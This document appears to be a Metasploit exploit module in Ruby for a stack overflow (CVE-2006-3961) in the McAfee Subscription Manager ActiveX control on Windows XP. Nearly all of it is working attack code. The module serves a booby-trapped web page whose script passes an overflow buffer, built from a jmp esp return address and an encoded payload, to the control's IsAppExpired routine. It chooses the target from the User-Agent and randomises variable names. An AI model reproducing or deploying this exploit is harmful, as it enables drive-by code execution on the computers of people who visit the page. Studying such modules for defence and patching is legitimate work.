McAfee Subscription Manager Stack Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'McAfee Subscription Manager Stack Overflow',  
'Description' => %q{  
This module exploits a flaw in the McAfee Subscription Manager ActiveX control.  
Due to an unsafe use of vsprintf, it is possible to trigger a stack overflow by  
passing a large string to one of the COM-exposed routines, such as IsAppExpired.  
This vulnerability was discovered by Karl Lynn of eEye.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
'skape',   
],  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2006-3961'],  
[ 'OSVDB', '27698'],  
[ 'BID', '19265'],  
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'],  
],  
'Payload' =>  
{  
'Space' => 1014,  
'MaxNops' => 0,  
'BadChars' => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii,  
'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe,  
'EncoderOptions' =>  
{  
'BufferOffset' => 0x8  
}  
},  
'Targets' =>  
[  
# Target 0: Automatic  
[  
'Windows XP SP0/SP1',  
{  
'Platform' => 'win',  
'Rets' =>   
[  
0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp  
#0x773f346a # XP SP2 comctl32.dll: jmp esp  
]  
},  
],  
],  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Pick the right target  
case request['User-Agent']  
when /Windows NT 5.1/  
ret = target['Rets'][0]  
else  
print_error("Unsupported target: #{request['User-Agent']}")  
cli.send_response(create_response(404, 'File not found'))  
return  
end  
  
# Build out our overflow buffer  
buf =   
rand_text(2972, payload_badchars) +  
[ ret ].pack('V') +   
"\x60" + # pusha  
"\x6a" + rand_char + # push byte 0x1  
"\x6a" + rand_char + # push byte 0x1  
"\x6a" + rand_char + # push byte 0x1  
"\x61" + # popa  
p.encoded  
  
# Generate random variable names  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Build out the message  
content =   
"<html>" +  
"<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" +  
"<script language='javascript'>\n" +  
"var #{vname} = document.getElementById('#{vname}');\n" +  
"var #{strname} = new String('#{buf}');\n" +  
"#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" +  
"</script>" +  
"</html>"  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)   
end  
  
end  
`